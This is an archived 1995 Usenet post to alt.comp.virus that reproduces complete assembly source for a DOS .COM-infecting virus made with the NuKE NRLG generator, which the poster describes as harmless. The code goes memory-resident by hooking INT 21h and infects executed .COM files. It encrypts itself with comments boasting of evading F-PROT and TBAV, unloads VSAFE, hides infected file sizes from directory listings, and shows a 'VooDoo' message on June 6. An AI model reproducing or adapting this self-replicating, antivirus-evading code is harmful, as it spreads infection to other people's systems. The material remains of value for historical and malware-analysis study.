home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / NUKEVIR.ASM / partbinary0 < prev   
Encoding:
Text File  |  1995-10-29  |  22.7 KB  |  470 lines

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
  2. From: yojimbo@crl.com (Douglas Mauldin)
  3. Newsgroups: alt.comp.virus
  4. Subject: Re: Not-So-Destructive Virii...<post please>
  5. Date: 6 Feb 1995 21:44:13 -0800
  6. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  7. Lines: 450
  8. Message-ID: <3h71bd$js1@crl.crl.com>
  9. References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
  10. NNTP-Posting-Host: crl.com
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. ; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic 
  14. ; Life Generator). All it does is display a message on June 6th ( I believe).
  15.  
  16. ;┌────────────────────────────────────────────────────────┐
  17. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  18. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  19. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  20. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  21. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  22. ;└────────────────────────────────────────────────────────┘
  23.  
  24. .286
  25. code    segment
  26. assume cs:code,ds:code
  27. org  100h
  28.  
  29. start:  CALL NEXT 
  30.  
  31. NEXT:  
  32.        mov di,sp             ;take the stack pointer location 
  33.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  34.        sub bp,offset next    ;subtract the large code off this code 
  35.                              ;
  36. ;*******************************************************************
  37. ;                      #1 DECRYPT ROUTINE                               
  38. ;*******************************************************************
  39.  
  40. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  41. je crypt2                    ;yes! not decrypt              
  42. ;----------------------------------------------------------                                          
  43. mov cx,offset fin            ;cx = large of virus               
  44. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  45. mov dx,1                     ;dx = value for decrypt          
  46. ;----------------------------------------------------------                                                   
  47. deci:                        ;deci = fuck label!                                    
  48. ;----------------------------------------------------------
  49.  
  50.  inc byte ptr [di]
  51. sub word ptr [di],0381h
  52.  inc di
  53. inc di
  54. ;----------------------------------------------------------                                                
  55. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  56. mov ah,4ch
  57. int 21h
  58. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  59. ;-----------------------------------------------------------                               
  60. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  61. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  62. ;----------------------------------------------------------                                   
  63. loop deci                    ;repeat please!               
  64.                              ;           
  65. ;*****************************************************************
  66. ;                   #2 DECRYPT ROUTINE                                                    
  67. ;*****************************************************************
  68.                               ;    
  69. crypt:                        ;fuck label!                  
  70.                               ;                
  71. mov cx,offset fin             ;cx = large of virus                 
  72. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  73. ;---------------------------------------------------------------                                              
  74. deci2:                        ;              
  75. xor byte ptr cs:[di],1        ;decrytion rutine          
  76. inc di                        ;very simple...            
  77. loop deci2                    ;           
  78. ;---------------------------------------------------------------
  79. crypt2:                       ;fuck label!          
  80.                               ;                  
  81. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  82. INT 21H                       ;for chek "I'm is residet?"   
  83. CMP Bh,0CAH                   ;is equal to CACA?
  84. JE PUM2                       ;yes! jump to runnig program
  85. call action
  86. ;*****************************************************************
  87. ; NRLG FUNCTIONS  (SELECTABLE)
  88. ;*****************************************************************
  89.  
  90.  call ANTI_V
  91. ;****************************************************************
  92. ;               PROCESS TO REMAIN RESIDENT                                                                  
  93. ;****************************************************************   
  94.  
  95. mov   ax,3521h                  
  96. int   21h                        ;store the int 21 vectors 
  97. mov   word ptr [bp+int21],bx     ;in cs:int21
  98. mov   word ptr [bp+int21+2],es   ;
  99. ;---------------------------------------------------------------
  100. push cs                          ; 
  101. pop ax                           ;ax = my actual segment                             
  102. dec ax                           ;dec my segment for look my MCB
  103. mov es,ax                        ;
  104. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  105. ;---------------------------------------------------------------
  106. push cs                          ;   
  107. pop es                           ;   
  108. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  109. sub bx,17 + offset fin           ;and 100H for the PSP total
  110. mov ah,4ah                       ;used memory
  111. int 21h                          ;put the new value to MCB
  112. ;---------------------------------------------------------------
  113. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  114. mov ah,48h                      ;                              
  115. int 21h                         ;request the memory to fuck DOS!                                                 
  116. ;---------------------------------------------------------------
  117. dec ax                          ;ax=new segment 
  118. mov es,ax                       ;ax-1= new segment MCB 
  119. mov byte ptr es:[1],8           ;put '8' in the segment
  120. ;--------------------------------------------------------------                                
  121. inc ax                          ; 
  122. mov es,ax                       ;es = new segment
  123. lea si,[bp + offset start]      ;si = start of virus 
  124. mov di,100h                     ;di = 100H (psp position) 
  125. mov cx,offset fin - start       ;cx = lag of virus
  126. push cs                         ;
  127. pop ds                          ;ds = cs
  128. cld                             ;mov the code
  129. rep movsb                       ;ds:si >> es:di
  130. ;--------------------------------------------------------------
  131. mov dx,offset virus             ;dx = new int21 handler
  132. mov ax,2521h                    ;
  133. push es                         ; 
  134. pop ds                          ; 
  135. int 21h                         ;set the vectors 
  136. ;-------------------------------------------------------------
  137. pum2:                               ;  
  138.                                     ; 
  139. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  140. mov byte ptr cs:[100h],ah           ;first bytes  
  141. mov ax,word ptr [cs:bp + real + 1]  ;
  142. mov word ptr cs:[101h],ax           ;
  143. ;-------------------------------------------------------------
  144. mov ax,100h                         ;
  145. jmp ax                              ;jmp to execute
  146.                                     ;
  147. ;*****************************************************************
  148. ;*             HANDLER FOR THE INT 21H                                       
  149. ;*****************************************************************
  150.                           ;          
  151. VIRUS:                    ;  
  152.                           ;     
  153. cmp ah,4bh                ;is a 4b function? 
  154. je REPRODUCCION           ;yes! jump to reproduce !
  155. cmp ah,11h
  156. je dir
  157. cmp ah,12h
  158. je dir
  159. dirsal:
  160. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  161. jne a3                    ;no! jump to a3
  162. mov bh,0cah               ;yes! put ca in bh
  163. a3:                       ;
  164. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  165. ret                       ;    
  166. make db '[NuKE] N.R.L.G. AZRAEL'
  167. dir:
  168. jmp dir_s
  169. ;-------------------------------------------------------------
  170. REPRODUCCION:              ;       
  171.                            ;
  172. pushf                      ;put the register
  173. pusha                      ;in the stack
  174. push si                    ;
  175. push di                    ;
  176. push bp                    ;
  177. push es                    ;
  178. push ds                    ;
  179. ;-------------------------------------------------------------
  180. push cs                    ;  
  181. pop ds                     ;  
  182. mov ax,3524H               ;get the dos error control                      
  183. int 21h                    ;interupt                        
  184. mov word ptr error,es      ;and put in cs:error                      
  185. mov word ptr error+2,bx    ;            
  186. mov ax,2524H               ;change the dos error control                    
  187. mov dx,offset all          ;for my "trap mask"                      
  188. int 21h                    ;         
  189. ;-------------------------------------------------------------
  190. pop ds                     ;
  191. pop es                     ;restore the registers
  192. pop bp                     ;
  193. pop di                     ;
  194. pop si                     ;
  195. popa                       ;
  196. popf                       ;
  197. ;-------------------------------------------------------------
  198. pushf                      ;put the registers
  199. pusha                      ;     
  200. push si                    ;HEY! AZRAEL IS CRAZY?
  201. push di                    ;PUSH, POP, PUSH, POP
  202. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  203. push es                    ;PURIFY THIS SHIT!
  204. push ds                    ;
  205. ;-------------------------------------------------------------
  206. mov ax,4300h                 ;       
  207. int 21h                      ;get the file     
  208. mov word ptr cs:[attrib],cx  ;atributes   
  209. ;-------------------------------------------------------------
  210. mov ax,4301h                 ;le saco los atributos al        
  211. xor cx,cx                    ;file 
  212. int 21h                      ;
  213. ;-------------------------------------------------------------  
  214. mov ax,3d02h                 ;open the file 
  215. int 21h                      ;for read/write
  216. mov bx,ax                    ;bx=handle
  217. ;-------------------------------------------------------------
  218. mov ax,5700h                ;     
  219. int 21h                     ;get the file date  
  220. mov word ptr cs:[hora],cx   ;put the hour    
  221. mov word ptr cs:[dia],dx    ;put the day    
  222. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  223. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  224. jne seguir                  ;yes! the file is infected!     
  225. jmp cerrar                  ;
  226. ;------------------------------------------------------------
  227. seguir:                     ;     
  228. mov ax,4202h                ;move the pointer to end
  229. call movedor                ;of the file
  230. ;------------------------------------------------------------
  231. push cs                     ;   
  232. pop ds                      ; 
  233. sub ax,3                    ;calculate the 
  234. mov word ptr [cs:largo],ax  ;jmp long
  235. ;-------------------------------------------------------------
  236. mov ax,04200h               ;move the pointer to  
  237. call movedor                ;start of file
  238. ;----------------------------------------------------------                                          
  239. push cs                     ;   
  240. pop ds                      ;read the 3 first bytes  
  241. mov ah,3fh                  ;                           
  242. mov cx,3                    ;
  243. lea dx,[cs:real]            ;put the bytes in cs:[real]
  244. int 21h                     ;
  245. ;----------------------------------------------------------                                          
  246. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  247. jne er1                         ;yes! is a EXE... fuckkk!
  248. ;----------------------------------------------------------
  249. jmp cerrar
  250. er1:
  251. ;----------------------------------------------------------                                          
  252. mov ax,4200h      ;move the pointer                               
  253. call movedor      ;to start fo file
  254. ;----------------------------------------------------------                                          
  255. push cs           ;       
  256. pop ds            ; 
  257. mov ah,40h        ;  
  258. mov cx,1          ;write the JMP
  259. lea dx,[cs:jump]  ;instruccion in the
  260. int 21h           ;fist byte of the file
  261. ;----------------------------------------------------------                                          
  262. mov ah,40h         ;write the value of jmp
  263. mov cx,2           ;in the file 
  264. lea dx,[cs:largo]  ; 
  265. int 21h            ;
  266. ;----------------------------------------------------------                                          
  267. mov ax,04202h      ;move the pointer to 
  268. call movedor       ;end of file
  269. ;----------------------------------------------------------                                          
  270. push cs                     ;        
  271. pop ds                      ;move the code  
  272. push cs                     ;of my virus      
  273. pop es                      ;to cs:end+50     
  274. cld                         ;for encrypt          
  275. mov si,100h                 ;    
  276. mov di,offset fin + 50      ;      
  277. mov cx,offset fin - 100h    ;        
  278. rep movsb                   ;      
  279. ;----------------------------------------------------------                                          
  280. mov cx,offset fin           
  281. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  282. enc:                              ;           
  283. xor byte ptr cs:[di],1            ;encrypt the virus              
  284. inc di                            ;code                   
  285. loop enc                          ;              
  286. ;---------------------------------------------------------
  287. mov cx,offset fin           
  288. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  289. mov dx,1
  290. enc2:                              ;           
  291.  
  292.  add word ptr [di],0381h
  293. dec byte ptr [di]
  294.  inc di
  295. inc di                             ;the virus code                  
  296. loop enc2                          ;              
  297. ;--------------------------------------------
  298. mov ah,40h                       ;  
  299. mov cx,offset fin - offset start ;copy the virus              
  300. mov dx,offset fin + 50           ;to end of file
  301. int 21h                          ;
  302. ;----------------------------------------------------------                                          
  303. cerrar:                          ;
  304.                                  ;restore the       
  305. mov ax,5701h                     ;date and time    
  306. mov cx,word ptr cs:[hora]        ;file   
  307. mov dx,word ptr cs:[dia]         ;     
  308. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  309. int 21h                          ; 
  310. ;----------------------------------------------------------                                          
  311. mov ah,3eh                       ; 
  312. int 21h                          ;close the file
  313. ;----------------------------------------------------------                                          
  314. pop ds                           ;
  315. pop es                           ;restore the 
  316. pop bp                           ;registers
  317. pop di                           ; 
  318. pop si                           ;
  319. popa                             ;
  320. popf                             ;
  321. ;----------------------------------------------------------                                          
  322. pusha                           ;   
  323.                                 ;                                                             
  324. mov ax,4301h                    ;restores the atributes 
  325. mov cx,word ptr cs:[attrib]     ;of the file  
  326. int 21h                         ;   
  327.                                 ;
  328. popa                            ; 
  329. ;----------------------------------------------------------                                          
  330. pushf                           ;                           
  331. pusha                           ; 8-(  = f-prot                       
  332. push si                         ;                       
  333. push di                         ; 8-(  = tbav   
  334. push bp                         ;                       
  335. push es                         ; 8-)  = I'm                        
  336. push ds                         ;                              
  337. ;----------------------------------------------------------                                          
  338. mov ax,2524H                    ;                         
  339. lea bx,error                    ;restore the                         
  340. mov ds,bx                       ;errors handler      
  341. lea bx,error+2                  ;                         
  342. int 21h                         ;                       
  343. ;----------------------------------------------------------                                          
  344. pop ds                          ;
  345. pop es                          ;
  346. pop bp                          ;restore the 
  347. pop di                          ;resgisters
  348. pop si                          ;
  349. popa                            ;
  350. popf                            ;
  351. ;----------------------------------------------------------                                          
  352. JMP A3                          ;jmp to orig. INT 21
  353.                                 ;
  354. ;**********************************************************
  355. ;           SUBRUTINES AREA
  356. ;**********************************************************
  357.                                 ;
  358. movedor:                        ;   
  359.                                 ; 
  360. xor cx,cx                       ;use to move file pointer         
  361. xor dx,dx                       ;       
  362. int 21h                         ;        
  363. ret                             ;        
  364. ;----------------------------------------------------------                                          
  365. all:                            ;  
  366.                                 ; 
  367. XOR AL,AL                       ;use to set 
  368. iret                            ;error flag
  369.  
  370. ;***********************************************************
  371. ;         DATA AREA
  372. ;***********************************************************
  373. largo  dw  ?
  374. jump   db  0e9h
  375. real   db  0cdh,20h,0
  376. hora   dw  ?
  377. dia    dw  ?
  378. attrib dw  ?
  379. int21  dd  ?
  380. error  dd  ?
  381.  
  382.  ;---------------------------------
  383. action:                          ;Call label      
  384. MOV AH,2AH                       ;        
  385. INT 21H                          ;get date           
  386. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  387. JE  cont                         ;nop! fuck ret          
  388. cmp byte ptr cs:[action_dia+bp],32  ;
  389. jne no_day                       ;
  390. cont:                            ; 
  391. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  392. je set                           ;
  393. cmp byte ptr cs:[action_mes+bp],13  ;
  394. jne NO_DAY                       ;nop! fuck ret           
  395. set:                             ; 
  396. mov AH,9                         ;yeah!!          
  397. MOV DX,OFFSET PAO                ;print my text!         
  398. INT 21H                          ;now!   
  399. INT 20H                          ;an finsh te program        
  400. NO_DAY:                          ;label to incorrect date              
  401. ret                              ;return from call 
  402. ;---------------------------------
  403.  
  404.  
  405. PAO:
  406. DB 10,13,'Congratulations! You Have Been  infected by VooDoo...           Compliments of HeadHunter     ','$'
  407.  
  408. ;---------------------------------
  409. ANTI_V:                          ; 
  410. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  411. MOV DX,5945H                     ; 
  412. INT 21H                          ;           
  413. ret                              ;
  414. ;---------------------------------
  415.  
  416.  ;*****************************************************
  417. dir_s:                                                               
  418.              pushf                                                         
  419.              push    cs                                                    
  420.              call    a3                      ;Get file Stats                       
  421.              test    al,al                   ;Good FCB?                            
  422.              jnz     no_good                 ;nope                                 
  423.              push    ax                                                 
  424.              push    bx                                                    
  425.              push    es                                                    
  426.              mov     ah,51h                  ;Is this Undocmented? huh...          
  427.              int     21h                                                   
  428.              mov     es,bx                                                 
  429.              cmp     bx,es:[16h]                                           
  430.              jnz     not_infected                        
  431.              mov     bx,dx                                                 
  432.              mov     al,[bx]                                               
  433.              push    ax                                                    
  434.              mov     ah,2fh                   ;Get file DTA                         
  435.              int     21h                                                   
  436.              pop     ax                                                    
  437.              inc     al                                                    
  438.              jnz     fcb_okay                                              
  439.              add     bx,7h                                                 
  440. fcb_okay:    mov     ax,es:[bx+17h]                                   
  441.              and     ax,1fh                   ;UnMask Seconds Field                 
  442.              xor     al,byte ptr cs:fechad                                      
  443.              jnz     not_infected                                            
  444.              and     byte ptr es:[bx+17h],0e0h                            
  445.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  446.              sbb     es:[bx+1fh],ax                                        
  447. not_infected:pop     es                                                    
  448.              pop     bx                                                    
  449.              pop     ax                                                    
  450. no_good:     iret                                                          
  451. ;********************************************************************
  452. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  453. ;*********************************************************************
  454.  
  455.  action_dia Db 06H ;day for the action
  456. action_mes Db 06H ;month for the action
  457. FECHA DW 01eH ;Secon for mark
  458. FECHAd Db 01eH ;Secon for mark dir st
  459. fin:
  460. code ends
  461. end start
  462.  
  463.  
  464. --
  465. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  466. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  467. Student at the Northeatstern University College of Computer Science 
  468. "I Can't Believe It's Not Butter"
  469.  
  470.